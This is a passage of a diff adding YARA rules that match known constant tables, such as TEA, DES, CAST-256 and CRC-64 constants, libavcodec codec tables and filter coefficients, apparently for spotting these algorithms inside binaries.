0001000000910000008c0000008b0500008c050000d5010000d2010000190100008400000038000000190000001200000006000000010000000100000001000000010000009704000090020000b30100004801000004010000cb0200002c020000fc00000093000000ed020000b30000003b0000002b0000000400000001000000010000007b000000870000008f050000970500009d01000099010000dd0000005f000000240000000f0000000900000002000000010000000100000001000000010000008704000092020000bc01000054010000100100000e03000090020000cd0000007c00000086030000f30000005600000043000000070000000100000001000000720000008d0000006905000069050000830100007f010000b20000004300000016000000070000000400000001000000010000000100000001000000010000004804000078020000b201000053010000150100002d030000df020000ab0000006d000000390400005101000085000000700000000f00000001000000010000005c000000890000004605000045050000370100003501000073000000220000000800000002000000010000000100000001000000010000000100000001000000f803000053020000a2010000560100001b0100006603000073030000720000004e000000e5040000d3010000d2000000cd000000220000000300000001000000500000008200000026050000210500000201000004010000440000000c00000002000000010000000100000001000000010000000100000001000000010000006a030000040200007a0100004a010000110100006d030000e8030000480000003500000052050000720200004d010000a7010000640000000a00000001000000490000006a0000001f05000021050000f1000000e70000001f0000000300000001000000010000000100000001000000010000000100000001000000010000006c020000700100001e0100002e010000f50000002e03000067040000220000001c000000b3040000e7020000cc010000060300001c01000024000000010000000d00000019000000a4070000a9070000670000006a00000003000000010000000100000001000000010000000100000001000000010000000100000001000000f8000000830000009500000010010000a5000000170200002d03000003000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Zdaemon_huffman_HuffFreq_table__0_46947443___flt64___64_big_2048_
+{
+strings:
+	$a0 = { 3fde0bde7aca20a03fa32ba2c6131f423f949367fc3da8ad3f7cfe0279d7dd4c3f7dd33cd36fff163f959f2198d6fbfb3f723ffe47c40ee33f62d036e4989b6d3f89ec8ad835b69b3f63c05bfb287fd13f6882cdfb201c553f65c1d8d2ea73263f67484b7345f2d33f6bcf797a6a545d3f60b5040344d8f83f5f7e350f2b6c143f8d25c6e3ff99533f5fe8a8a072a6bc3f648ea29a9f28243f625be8083c8f7d3f65aad1fb34ea183f5e5c368caefa7f3f5afa574992f1093f563e65965cce373f638dc14935feeb3f5982728b8dbd423f55a502d94e3a763f564f019adfbfc43f5ba49677d11ce93f55e0873ece1c023f56ac499f8642a53f55f3dd31f4c4b93f64f5e0c24d170a3f5b784bc11e98c73f574fbd578edd283f5e5245c80b47063f5d7aa4b6d91a8e3f55b370854e33143f5194dd9d299c063f7576b20e04a5813f64302df028469b3f4f7a18cad220ca3f7e1a1c60debd0f3f50dc86a927004a3f5bfec3ead0eec53f551c874a36afea3f4ffc74b02b2b7d3f52a9fbbc796d7f3f5e86a8d11a0e743f861047cbc692763f50dae3e6c4c5973f6d0f55079951753f5491bd2c45d9283f52b132927969ce3f50e4c9eea107f83f55c37636e8f54c3f60ea8396f8d5693f51a665dad045a83f503ea704bc27633f729ea5f2ee499f3f57a3b5a7414cfc3f50d6314f834af93f513b10cd2cc4033f533d9f72cc7b433f6034559d157a103f50ea285259941b3f6a9fdead1f07823f52e0576e25f8623f5485d3bf04623a3f508c34813bffb63f50678c0053e2d63f527c4eb011553d3f552931fd7e1a8d3f50131d940f96f73f4f62b150199de13f500fe2cc1292aa3f5340596170326d3f50ebaade657b853f5254cc0a2f2deb3f52079473eade5b3f80cd6fdfe1d26d3f4e029f6c9757f63f502861730c920a3f4d6e24f6af744c3f562749451862f83f4ceb9e1e38a5383f4f447e5f2b899c3f4d12cadddf43c83f6182e4a154cee43f504a3a8bc2158f3f50c001376297d03f501c01e9393f113f5305e16b6a5c3f3f4d9e4b850e9d273f4bffd05a4afa243f4f1d1132d8447a3f59c95f84f5c89a3f521266b4ead8d13f4d5df451f6edb33f4ef187c22bb40e3f80a6a51ad71bdb3f83b321aaf58c8a3f73842bc9318cc03f4ff1370f60c6133f56253b22ebbd533f4eb6cf5f79374e3f4c59926d80610e3f4e77ba4bc0c8b33f76411f850085613f5307da14081fb43f5054b6e68687433f5f82b1f687b13a3f594ea5d56725283f4c8cbe13f758bd3f5170c0b2623d623f528be901e1ac833f6c2ade5001f5f93f7338dcc05fd7003f4cdd865874355c3f50b7279f0060ce3f5599196c0cc3883f4dff84daf0a6f23f4d022ed95c523b3f4dc7bc16c716d53f528fcf9655c2543f4ce39088a3d3033f4ce177a9afbc463f52723db5174e7b3f6ae1ee1c27d3da3f4cd64f8274390d3f50cd4cfa59a2df3f4c3d0cfbbbf8943f5199049e4a58693f5327a50a90fd943f4ba44b4e5d053f3f4aae419c578f083f547c18aa45e43b3f49f55f123435113f4a2280887b8f183f4d4e448697b43c3f51994fc7be70133f4b65a19a6f01963f49d076249f71a03f4baf9e68b64cd93f58677febf3839b3f4bf899844afdd53f49e42cbac914313f4af50e5f6947163f51008e1a5f7cbd3f4b5d7e8b4b4d303f4abfc9d9fe38ab3f4ac18cd2b6c6a63f542f014a57e7f33f4a2403148776813f4a5b0a92ab12e93f4acfcf8b98fae33f541d232675b58f3f4a74cb590453213f4a83e4d17b5d433f4bd7ccdb0f85af3f634582154389173f49e9b6119f64b53f49c66529a56ade3f4ac466f7b0d1193f5190abdf416e8a3f49cb6da7226e3f3f49cd9bffa5672d3f4feec84a3126943f5419f31b40225a3f49ca160e344b363f4a04788aab3f333f491c05c510ebb63f539e82e272fc4c3f48fc65c1a5d2373f4a02e0851075993f4c426b5f7484b73f55aa613d06c6993f49775fdde11c3a3f4c880b7cb5de1e3f4a89c40e8d368a3f5053eae3b922763f48dd5c1122e80c3f498826d581d2283f4a549502b10a4f3f527725fc3dfe933f49c2b445168a863f49ad253ca577c93f4984f6ca4c3ef33f520129a0b846d93f4f5b2493de18d03f4a6f2c889f206c3f49fb3e4f460e573f640a38931977cb3f4a3d43018769963f48cf59c4ed5a613f4a09d6ee63cb573f541ad4979c69583f48cec372052b0d3f483f7c6cb80f263f4a087f5575a84e3f528a463f7f71d03f4f5c7c2ccc3bd83f48d8a979e16d6e3f486eb6c1f37fea3f514b975820d35f3f48cfda9e46a7843f4a08bfc2224edf3f6d89b37288b3983f562d28822a3c3f3f496dfaaf5e26fd3f491e8a03cf6d663f4ac629f0695f143f56c0f72b9b0e643f4a0691699f55f13f4b49c7f521aaa03f48f94b2fff21333f5346f9e487ff683f78885cb05a25653f4b19e1d36f28573f4abf896d5192193f55b02b0089bdae3f48afb9c18240e23f493e7fed760fa73f5297fd6240e7d23f5abefdd730d3dd3f4d9b5be685b0843f4c7aca768644273f4e2112ca3212cd3f549da6998750163f49e787b91c6bc63f4a2f969b8d64ad3f4aeba930e651d93f5472d3b21942463f4a0a424e2e36493f54a6c09e962da93f4c5dd9a4f770ba3f555b10c7ce604b3f512023610325233f51a477eef9f34c3f53780cac0ae0593f5d2d0c7d91d1233f55c213e133612b3f589c0de8200f6a3f59852c7a31746c3f627b174d79857d3f622c221ce0607d3f5a796876b6eb8f3f5b4c4c33e02c503f61d10dcf208f173f6002c75a9d04883f63ebeaca38c8c93f652a53e687081d3f6d28dabfa9a3a83f727631b584b1ab3f7931a797df045d3f9b55cc3a55bc4a }
+
+condition:
+	$a0
+}
+
+	
+rule Nsis_archive_signature__8_byt_16_
+{
+strings:
+	$a0 = { efbeadde4e756c6c736f6674496e7374 }
+
+condition:
+	$a0
+}
+
+	
+rule TEA_encryption_decryption__0xc6ef3720__0x9e3779b9___32_lil_AND_
+{
+strings:
+	$a0 = { 2037efc6[0-20]b979379e }
+
+condition:
+	$a0
+}
+
+	
+rule Teamsound_join_password_algorithm__8_byt_256_
+{
+strings:
+	$a0 = { d4705f69c310ecf5621cf339c9f9bc7cd67d2ee457d24b6bce0eeb7784e9cc25bba8403d67adaf1f1d4183288c6e2d069adca603667e298fdd6ffe3a0116437bcf649e9b23c0810f183f561bead08d075d0c3147501124a3acd1e2ffc5e65afc8760027aaeb03c71b7fd33449254d765e1c4b9d9214e269338763b9ff7785e3efb17da22e3484c5312f20b6172cdbdb8efa0e57f68f651731ab2df272b0a195bc7908eaa368a6d2f00e01e85c2c891cad59d040d20959835dea175ba9c895886b449d8a7a2c1b3c64ff48255324615d352faabbea56c59f8bf2aa414e75c2c88b16a973037139499db424da9f074f105b58b4509ed967963084a34cb80e8b6ee }
+
+condition:
+	$a0
+}
+
+	
+rule _Point_Equiripple_FIR_Low_Pass_Filter__flt32___32_big_64_
+{
+strings:
+	$a0 = { bc1f4178bc2c53afbc08c5e73a19a2fd3c56741f3cb1cf273c96dd6a39b21cd9bcd5a51dbd3a9951bd2518cd3a03daa73d955a613e20f9453e661f533e804640 }
+
+condition:
+	$a0
+}
+
+	
+rule G726_40kbit_s_5bits_per_sample_table__iquant_tbl___32_big_128_
+{
+strings:
+	$a0 = { 80000000FFFFFFBE0000001C00000068000000A9000000E0000001120000013E000001660000018B000001AD000001CB000001E8000002020000021B00000236000002360000021B00000202000001E8000001CB000001AD0000018B000001660000013E00000112000000E0000000A9000000680000001CFFFFFFBE80000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_iweight_88__32_big_256_
+{
+strings:
+	$a0 = { 000080000000414600004146000045470000427700004547000047150000469f0000469f00004715000049250000487f00004afc0000487f0000492500004b5400004aa400004cec00004cec00004aa400004b540000539800004cbd00004f2600004ef600004f2600004cbd00005398000058cd00005555000051830000514f0000514f0000518300005555000058cd00005a8500005a8500005398000053980000539800005a8500005a850000601800005cd4000056010000560100005cd400006018000062b300005f890000589000005f89000062b3000065730000626700006267000065730000685b00006d3a0000685b000073ca000073ca00007b30 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_8_960__16_lil_80_
+{
+strings:
+	$a0 = { 0c001800240030003c004800540060006c007800840090009c00ac00bc00cc00dc00ec00fc000c012001340148015c0174018c01a401c001dc01fc01200244026c029802c802fc0234037003b003c003 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST_256_t_r__32_lil_768_
+{
+strings:
+	$a0 = { 130000001b000000030000000b000000130000001b000000030000000b000000130000001b000000030000000b000000130000001b000000030000000b000000130000001b000000030000000b000000130000001b000000030000000b000000040000000c000000140000001c000000040000000c000000140000001c000000040000000c000000140000001c000000040000000c000000140000001c000000040000000c000000140000001c000000040000000c000000140000001c000000150000001d000000050000000d000000150000001d000000050000000d000000150000001d000000050000000d000000150000001d000000050000000d000000150000001d000000050000000d000000150000001d000000050000000d000000060000000e000000160000001e000000060000000e000000160000001e000000060000000e000000160000001e000000060000000e000000160000001e000000060000000e000000160000001e000000060000000e000000160000001e000000170000001f000000070000000f000000170000001f000000070000000f000000170000001f000000070000000f000000170000001f000000070000000f000000170000001f000000070000000f000000170000001f000000070000000f0000000800000010000000180000000000000008000000100000001800000000000000080000001000000018000000000000000800000010000000180000000000000008000000100000001800000000000000080000001000000018000000000000001900000001000000090000001100000019000000010000000900000011000000190000000100000009000000110000001900000001000000090000001100000019000000010000000900000011000000190000000100000009000000110000000a000000120000001a000000020000000a000000120000001a000000020000000a000000120000001a000000020000000a000000120000001a000000020000000a000000120000001a000000020000000a000000120000001a00000002000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Speed_Challenge_network_encryption_decryption_algorithm_X4d4638__8_byt_37_
+{
+strings:
+	$a0 = { f7a96611e110ecc67b676ad44b6738da9838ec3a9582dd5aea862853d8021e67244fb9f76e }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_center_rear__180_degree___flt64___64_big_1024_
+{
+strings:
+	$a0 = { bf0f6672c5d46091bf2ddf272954a93e3f316d572499ca3ebf38bd04896e42fc3f3dc1601a991dabbf3b8a6d457781983f30b94ccb8407df3f3289861a8651d3bf50a70d88cc75a23f67753103799cbe3f61ac903d0c60673f85330442759f42bf857770c45d60c5bf8b0721ff8279433f6a27d58b8a2a663f9dba66d3c3ced03fc4e525584c35c53fbad0d139f25b20bfbaca22d0fbb22dbfb7b4c3221dd65bbf7ec740f9dd5f863f8bd859ae378b2fbf945a6af47e9ca13fc0126f88d7dd4e3fd759298d9c0c123fc8e8144ba33188bfa6b3d350a70f213fa7d9aa45b28a6a3fb847b6dcc6c383bfa010c564edd539bfba5c87673863b8bfb7f054bcf3eccebfbcea6def190b2bbfc31abad6be326fbfbf86899a90f524bfb045f09aa61bb5bfabdd4d6f8197c3bfb3600c5ad7a24abf97dfdea80775083fa5d0e9cff567e13f9707b002ef025f3f94f938d8aa28c43facef53bf7188c23fae21a361bcd1f63fa370f00a8ed48c3f881980f18aec023f76f54b7372ec683f74b07d2290a147bf8a78e96280ca87bf987e312d562d88bf8b23af9f5ba0b7bf85e724109f6b37bf9f8b4f761a77fcbfa2bee91ddb50ecbfa36a9bad2f4372bfa599cc1f9f93d9bf9b3be4f4a95678bf83fc8a4a9a2a92bf60ea9745f7846bbf63d35a6f9f21cbbf7b280ceb7616c73f72ec63fe9ee9a03f93eade8dba1c093f91c4c0849b604a3f92109805473da83f973ebf1361fff43f936e8eca0e28e93f830bcd209566d4bf5bc582aaa89706bf7ba797bc27136cbf833654540bc7bebf86f46d766585f3bf8acd0af115a182bf90f60ee68c927ebf96883e254b57a6bf99c712371a3311bf915326bbfb704fbf81b7e18d0ec734bf7cabf527c234d8bf7657cdc801b6b7bf614f2e872987943f288869cb0d1426bf32c592b819671c3f5cdc5c6c4f6bb93f7c9d4147e5f3183f85a98e4a2f86543f7a7c33c9a42934bf588ebb8cbfadddbf703face228fd28bf7ab03420a83f26bf832288016eeea5bf7f4e557efe683dbf7200b789559125bf69020cce6a26e1bf7cc01020468dd5bf83f32353cc8921bf805188dfd6d663bf7ff47aed369f37bf7eddce317993bdbf6d06ed3bc708473f58b652463cffd53f6320015b971d1dbf507499d0bfdab7bf64b8e80c555170bf636aa2e4c03036bf435c254a3a89073f686f04ba0f72623f73c79fd8f273993f726262f82d36713efbb8c1dcd390edbf713e962fc44a12bf794657f980209dbf7dc4287ff5936abf7bf5145a60b33ebf7c43002fa8e20ebf7e1a6549d617adbf83913b51bf3a51bf882582ef1b787fbf85cd76a205f439bf7a7c41f299aab8bf609a639cfecb62bf3c6c562b9e1551bf524e25d71bc8b8bf5d67dc196d5ca8bf64f0a2dc6f9fe0bf5d08f65346cbcabf2f30ad6965787e3f475d2da30762c4 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0xB000000000000001__64_big_refl_True_
+{
+strings:
+	$a0 = { 0000000000000000c70000000000000b8e0000000000000d49000000000000061c00000000000001db0000000000000a920000000000000c55000000000000073800000000000002ff00000000000009b60000000000000f71000000000000042400000000000003e300000000000008aa0000000000000e6d000000000000057000000000000004b70000000000000ffe0000000000000939000000000000026c00000000000005ab0000000000000ee200000000000008250000000000000348000000000000068f0000000000000dc60000000000000b01000000000000005400000000000007930000000000000cda0000000000000a1d00000000000001e00000000000000827000000000000036e00000000000005a90000000000000efc000000000000093b000000000000027200000000000004b50000000000000fd80000000000000a1f000000000000015600000000000007910000000000000cc40000000000000b03000000000000004a000000000000068d0000000000000d900000000000000c57000000000000071e00000000000001d90000000000000a8c0000000000000d4b000000000000060200000000000000c50000000000000ba80000000000000e6f000000000000052600000000000003e100000000000008b40000000000000f73000000000000043a00000000000002fd00000000000009c00000000000000b07000000000000004e00000000000006890000000000000ddc0000000000000a1b000000000000015200000000000007950000000000000cf8000000000000093f000000000000027600000000000004b10000000000000fe40000000000000823000000000000036a00000000000005ad0000000000000eb00000000000000f77000000000000043e00000000000002f900000000000009ac0000000000000e6b000000000000052200000000000003e500000000000008880000000000000d4f000000000000060600000000000000c10000000000000b940000000000000c53000000000000071a00000000000001dd0000000000000a2000000000000003e700000000000008ae0000000000000e69000000000000053c00000000000002fb00000000000009b20000000000000f75000000000000041800000000000001df0000000000000a960000000000000c51000000000000070400000000000000c30000000000000b8a0000000000000d4d000000000000065000000000000007970000000000000cde0000000000000a19000000000000014c000000000000068b0000000000000dc20000000000000b05000000000000006800000000000005af0000000000000ee60000000000000821000000000000037400000000000004b30000000000000ffa000000000000093d00000000000002800000000000000d47000000000000060e00000000000000c90000000000000b9c0000000000000c5b000000000000071200000000000001d50000000000000ab80000000000000f7f000000000000043600000000000002f100000000000009a40000000000000e63000000000000052a00000000000003ed00000000000008f00000000000000937000000000000027e00000000000004b90000000000000fec000000000000082b000000000000036200000000000005a50000000000000ec80000000000000b0f000000000000004600000000000006810000000000000dd40000000000000a13000000000000015a000000000000079d0000000000000c6000000000000005a70000000000000eee0000000000000829000000000000037c00000000000004bb0000000000000ff200000000000009350000000000000258000000000000079f0000000000000cd60000000000000a11000000000000014400000000000006830000000000000dca0000000000000b0d000000000000001000000000000001d70000000000000a9e0000000000000c59000000000000070c00000000000000cb0000000000000b820000000000000d45000000000000062800000000000003ef00000000000008a60000000000000e61000000000000053400000000000002f300000000000009ba0000000000000f7d000000000000044000000000000006870000000000000dce0000000000000b09000000000000005c000000000000079b0000000000000cd20000000000000a15000000000000017800000000000004bf0000000000000ff60000000000000931000000000000026400000000000005a30000000000000eea000000000000082d000000000000033000000000000002f700000000000009be0000000000000f79000000000000042c00000000000003eb00000000000008a20000000000000e65000000000000050800000000000000cf0000000000000b860000000000000d41000000000000061400000000000001d30000000000000a9a0000000000000c5d00000000000007a00000000000000e67000000000000052e00000000000003e900000000000008bc0000000000000f7b000000000000043200000000000002f500000000000009980000000000000c5f000000000000071600000000000001d10000000000000a840000000000000d43000000000000060a00000000000000cd0000000000000bd00000000000000a17000000000000015e00000000000007990000000000000ccc0000000000000b0b000000000000004200000000000006850000000000000de8000000000000082f000000000000036600000000000005a10000000000000ef40000000000000933000000000000027a00000000000004bd0000000000000f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truemotion_pc_tbl4__8_byt_785_
+{
+strings:
+	$a0 = { 0800000000080000000008200000000800000001081000000008000000020801000000080000001008020000000600000006200000060000010610000006000002060010000600200006000200060001000601000006000020060200000600001006100020060100020620001006020001062010000600120006000201060201000600210006000102060020100600002106000012060001200612000006001020060120000602100006102000060102000621000006000210062001000600220006100200060010020611000006001100062200000620000206100001060020010602200006011000060100200600200206012002061001000602001006001001061001200620021006000022061000020600022006200200060000110602100106000110060002110401020402010401000410200420100420000411000402000412000400210422000400120421000402110400010410020402200420110401100421100410000410220420200400220401220420010402020400200400100400110422010411200412010412200411020410100401010402210420120401120422110421120422100421020420020410010400020410210401200411220412210422200402100402220411100422020420210401110411010410120402120420220421200401210412020421110412220412100422210410110421010411120412110466660422220411210411110421220400000422120412120421210442000400040440000430000431000400030400140400130401240420130401420414200442020413000400240431200422130411240412660430010402130412420440100440020401040424000442100421130413120431210421240400400410240410420432010411420420310412400200021002200230024002500260027002010211022102310241025102610271020202120222023202420252026202720203021302230233024302530263027302040214022402340244025402640274020502150225023502450255026502750206021602260236024602560266027602070217022702370247025702670277 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox1__32_lil_256_
+{
+strings:
+	$a0 = { 00040101000000000000010004040101040001010404010004000000000001000004000000040101040401010004000004040001040001010000000104000000040400000004000100040001000401000004010000000101000001010404000104000100040000010400000104000100000000000404000004040100000000010000010004040101040000000000010100040101000000010000000100040000040001010000010000040100040000010004000004000000040400010404010004040101040001000000010104040001040000010404000004040100000401010404000000040001000400010000000004000100000401000000000004000101 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_place_422_625__16_lil_6480_
+{
+strings:
+	$a0 = { 480c24246c3000009018480d24256c3100019019480e24266c320002901a4c0e282670320402941a4c0d28257031040194194c0c2824703004009418500c2c24743008009818500d2c25743108019819500e2c2674320802981a540e302678320c029c1a540d302578310c019c19540c302478300c009c18580c34247c301000a018580d34257c311001a019580e34267c321002a01a5c0e382680321402a41a5c0d382580311401a4195c0c382480301400a418600c3c2484301800a818600d3c2584311801a819600e3c2684321802a81a640e402688321c02ac1a640d402588311c01ac19640c402488301c00ac18680c44248c302000b018680d44258c312001b019680e44268c322002b01a4812242a6c360006901e4813242b6c370007901f4814242c6c38000890204c14282c7038040894204c13282b70370407941f4c12282a70360406941e50122c2a74360806981e50132c2b74370807981f50142c2c7438080898205414302c78380c089c205413302b78370c079c1f5412302a78360c069c1e5812342a7c361006a01e5813342b7c371007a01f5814342c7c381008a0205c14382c80381408a4205c13382b80371407a41f5c12382a80361406a41e60123c2a84361806a81e60133c2b84371807a81f60143c2c84381808a8206414402c88381c08ac206413402b88371c07ac1f6412402a88361c06ac1e6812442a8c362006b01e6813442b8c372007b01f6814442c8c382008b020481824306c3c000c9024481924316c3d000d9025481a24326c3e000e90264c1a2832703e040e94264c192831703d040d94254c182830703c040c942450182c30743c080c982450192c31743d080d9825501a2c32743e080e9826541a3032783e0c0e9c2654193031783d0c0d9c2554183030783c0c0c9c24581834307c3c100ca024581934317c3d100da025581a34327c3e100ea0265c1a3832803e140ea4265c193831803d140da4255c183830803c140ca42460183c30843c180ca82460193c31843d180da825601a3c32843e180ea826641a4032883e1c0eac2664194031883d1c0dac2564184030883c1c0cac24681844308c3c200cb024681944318c3d200db025681a44328c3e200eb026481e24366c420012902a481f24376c430013902b482024386c440014902c4c20283870440414942c4c1f283770430413942b4c1e283670420412942a501e2c3674420812982a501f2c3774430813982b50202c3874440814982c5420303878440c149c2c541f303778430c139c2b541e303678420c129c2a581e34367c421012a02a581f34377c431013a02b582034387c441014a02c5c20383880441414a42c5c1f383780431413a42b5c1e383680421412a42a601e3c3684421812a82a601f3c3784431813a82b60203c3884441814a82c6420403888441c14ac2c641f403788431c13ac2b641e403688421c12ac2a681e44368c422012b02a681f44378c432013b02b682044388c442014b02c4824243c6c00001890304825243d6c01001990314826243e6c02001a90324c26283e7002041a94324c25283d7001041994314c24283c70000418943050242c3c74000818983050252c3d74010819983150262c3e7402081a98325426303e78020c1a9c325425303d78010c199c315424303c78000c189c305824343c7c001018a0305825343d7c011019a0315826343e7c02101aa0325c26383e8002141aa4325c25383d80011419a4315c24383c80001418a43060243c3c84001818a83060253c3d84011819a83160263c3e8402181aa8326426403e88021c1aac326425403d88011c19ac316424403c88001c18ac306824443c8c002018b0306825443d8c012019b0316826443e8c02201ab032482a24426c06001e9036482b24436c07001f9037482c24446c08002090384c2c28447008042094384c2b28437007041f94374c2a28427006041e9436502a2c427406081e9836502b2c437407081f9837502c2c44740808209838542c304478080c209c38542b304378070c1f9c37542a304278060c1e9c36582a34427c06101ea036582b34437c07101fa037582c34447c081020a0385c2c384480081420a4385c2b38438007141fa4375c2a38428006141ea436602a3c428406181ea836602b3c438407181fa837602c3c4484081820a838642c404488081c20ac38642b404388071c1fac37642a404288061c1eac36682a44428c06201eb036682b44438c07201fb037682c44448c082020b038483024006c0c0024903c483124016c0d0025903d483224026c0e0026903e4c322802700e0426943e4c312801700d0425943d4c302800700c0424943c50302c00740c0824983c50312c01740d0825983d50322c02740e0826983e54323002780e0c269c3e54313001780d0c259c3d54303000780c0c249c3c583034007c0c1024a03c583134017c0d1025a03d583234027c0e1026a03e5c323802800e1426a43e5c313801800d1425a43d5c303800800c1424a43c60303c00840c1824a83c60313c01840d1825a83d60323c02840e1826a83e64324002880e1c26ac3e64314001880d1c25ac3d64304000880c1c24ac3c683044008c0c2024b03c683144018c0d2025b03d683244028c0e2026b03e483624066c12002a9042483724076c13002b9043483824086c14002c90444c3828087014042c94444c3728077013042b94434c3628067012042a944250362c067412082a984250372c077413082b984350382c087414082c98445438300878140c2c9c445437300778130c2b9c435436300678120c2a9c42583634067c12102aa042583734077c13102ba043583834087c14102ca0445c3838088014142ca4445c3738078013142ba4435c3638068012142aa44260363c068412182aa84260373c078413182ba84360383c088414182ca8446438400888141c2cac446437400788131c2bac436436400688121c2aac42683644068c12202ab042683744078c13202bb043683844088c14202cb044483c240c6c1800309000483d240d6c1900319001483e240e6c1a003290024c3e280e701a043294024c3d280d7019043194014c3c280c701804309400503c2c0c741808309800503d2c0d741908319801503e2c0e741a08329802543e300e781a0c329c02543d300d78190c319c01543c300c78180c309c00583c340c7c181030a000583d340d7c191031a001583e340e7c1a1032a0025c3e380e801a1432a4025c3d380d80191431a4015c3c380c80181430a400603c3c0c84181830a800603d3c0d84191831a801603e3c0e841a1832a802643e400e881a1c32ac02643d400d88191c31ac01643c400c88181c30ac00683c440c8c182030b000683d440d8c192031b001683e440e8c1a2032b002484224126c1e00369006484324136c1f00379007484424146c20003890084c4428147020043894084c432813701f043794074c422812701e0436940650422c12741e0836980650432c13741f0837980750442c147420083898085444301478200c389c0854433013781f0c379c0754423012781e0c369c06584234127c1e1036a006584334137c1f1037a007584434147c201038a0085c44381480201438a4085c433813801f1437a4075c423812801e1436a40660423c12841e1836a80660433c13841f1837a80760443c1484201838a8086444401488201c38ac0864434013881f1c37ac0764424012881e1c36ac06684244128c1e2036b006684344138c1f2037b007684444148c202038b008480024186c24003c900c480124196c25003d900d4802241a6c26003e900e4c02281a7026043e940e4c0128197025043d940d4c0028187024043c940c50002c187424083c980c50012c197425083d980d50022c1a7426083e980e5402301a78260c3e9c0e5401301978250c3d9c0d5400301878240c3c9c0c580034187c24103ca00c580134197c25103da00d5802341a7c26103ea00e5c02381a8026143ea40e5c0138198025143da40d5c0038188024143ca40c60003c188424183ca80c60013c198425183da80d60023c1a8426183ea80e6402401a88261c3eac0e6401401988251c3dac0d6400401888241c3cac0c680044188c24203cb00c680144198c25203db00d6802441a8c26203eb00e4806241e6c2a004290124807241f6c2b00439013480824206c2c004490144c082820702c044494144c07281f702b044394134c06281e702a0442941250062c1e742a0842981250072c1f742b0843981350082c20742c0844981454083020782c0c449c145407301f782b0c439c135406301e782a0c429c125806341e7c2a1042a0125807341f7c2b1043a013580834207c2c1044a0145c083820802c1444a4145c07381f802b1443a4135c06381e802a1442a41260063c1e842a1842a81260073c1f842b1843a81360083c20842c1844a81464084020882c1c44ac146407401f882b1c43ac136406401e882a1c42ac126806441e8c2a2042b0126807441f8c2b2043b013680844208c2c2044b014480f24276c330003901b481024286c340004901c481124296c350005901d4c11282970350405941d4c10282870340404941c4c0f282770330403941b500f2c2774330803981b50102c2874340804981c50112c2974350805981d5411302978350c059c1d5410302878340c049c1c540f302778330c039c1b580f34277c331003a01b581034287c341004a01c581134297c351005a01d5c11382980351405a41d5c10382880341404a41c5c0f382780331403a41b600f3c2784331803a81b60103c2884341804a81c60113c2984351805a81d6411402988351c05ac1d6410402888341c04ac1c640f402788331c03ac1b680f44278c332003b01b681044288c342004b01c681144298c352005b01d4815242d6c39000990214816242e6c3a000a90224817242f6c3b000b90234c17282f703b040b94234c16282e703a040a94224c15282d70390409942150152c2d74390809982150162c2e743a080a982250172c2f743b080b98235417302f783b0c0b9c235416302e783a0c0a9c225415302d78390c099c215815342d7c391009a0215816342e7c3a100aa0225817342f7c3b100ba0235c17382f803b140ba4235c16382e803a140aa4225c15382d80391409a42160153c2d84391809a82160163c2e843a180aa82260173c2f843b180ba8236417402f883b1c0bac236416402e883a1c0aac226415402d88391c09ac216815442d8c392009b0216816442e8c3a200ab0226817442f8c3b200bb023481b24336c3f000f9027481c24346c4000109028481d24356c41001190294c1d28357041041194294c1c28347040041094284c1b2833703f040f9427501b2c33743f080f9827501c2c34744008109828501d2c35744108119829541d303578410c119c29541c303478400c109c28541b3033783f0c0f9c27581b34337c3f100fa027581c34347c401010a028581d34357c411011a0295c1d383580411411a4295c1c383480401410a4285c1b3833803f140fa427601b3c33843f180fa827601c3c3484401810a828601d3c3584411811a829641d403588411c11ac29641c403488401c10ac28641b4033883f1c0fac27681b44338c3f200fb027681c44348c402010b028681d44358c412011b029482124396c450015902d4822243a6c460016902e4823243b6c470017902f4c23283b70470417942f4c22283a70460416942e4c21283970450415942d50212c3974450815982d50222c3a74460816982e50232c3b74470817982f5423303b78470c179c2f5422303a78460c169c2e5421303978450c159c2d582134397c451015a02d5822343a7c461016a02e5823343b7c471017a02f5c23383b80471417a42f5c22383a80461416a42e5c21383980451415a42d60213c3984451815a82d60223c3a84461816a82e60233c3b84471817a82f6423403b88471c17ac2f6422403a88461c16ac2e6421403988451c15ac2d682144398c452015b02d6822443a8c462016b02e6823443b8c472017b02f4827243f6c03001b9033482824406c04001c9034482924416c05001d90354c2928417005041d94354c2828407004041c94344c27283f7003041b943350272c3f7403081b983350282c407404081c983450292c417405081d98355429304178050c1d9c355428304078040c1c9c345427303f78030c1b9c335827343f7c03101ba033582834407c04101ca034582934417c05101da0355c2938418005141da4355c2838408004141ca4345c27383f8003141ba43360273c3f8403181ba83360283c408404181ca83460293c418405181da8356429404188051c1dac356428404088041c1cac346427403f88031c1bac336827443f8c03201bb033682844408c04201cb034682944418c05201db035482d24456c0900219039482e24466c0a0022903a482f24476c0b0023903b4c2f2847700b0423943b4c2e2846700a0422943a4c2d2845700904219439502d2c45740908219839502e2c46740a0822983a502f2c47740b0823983b542f3047780b0c239c3b542e3046780a0c229c3a542d304578090c219c39582d34457c091021a039582e34467c0a1022a03a582f34477c0b1023a03b5c2f3847800b1423a43b5c2e3846800a1422a43a5c2d384580091421a439602d3c4584091821a839602e3c46840a1822a83a602f3c47840b1823a83b642f4047880b1c23ac3b642e4046880a1c22ac3a642d404588091c21ac39682d44458c092021b039682e44468c0a2022b03a682f44478c0b2023b03b483324036c0f0027903f483424046c1000289040483524056c11002990414c3528057011042994414c3428047010042894404c332803700f0427943f50332c03740f0827983f50342c0474100828984050352c057411082998415435300578110c299c415434300478100c289c4054333003780f0c279c3f583334037c0f1027a03f583434047c101028a040583534057c111029a0415c35380580111429a4415c34380480101428a4405c333803800f1427a43f60333c03840f1827a83f60343c0484101828a84060353c0584111829a8416435400588111c29ac416434400488101c28ac4064334003880f1c27ac3f683344038c0f2027b03f683444048c102028b040683544058c112029b041483924096c15002d9045483a240a6c16002e9046483b240b6c17002f90474c3b280b7017042f94474c3a280a7016042e94464c3928097015042d944550392c097415082d9845503a2c0a7416082e9846503b2c0b7417082f9847543b300b78170c2f9c47543a300a78160c2e9c465439300978150c2d9c45583934097c15102da045583a340a7c16102ea046583b340b7c17102fa0475c3b380b8017142fa4475c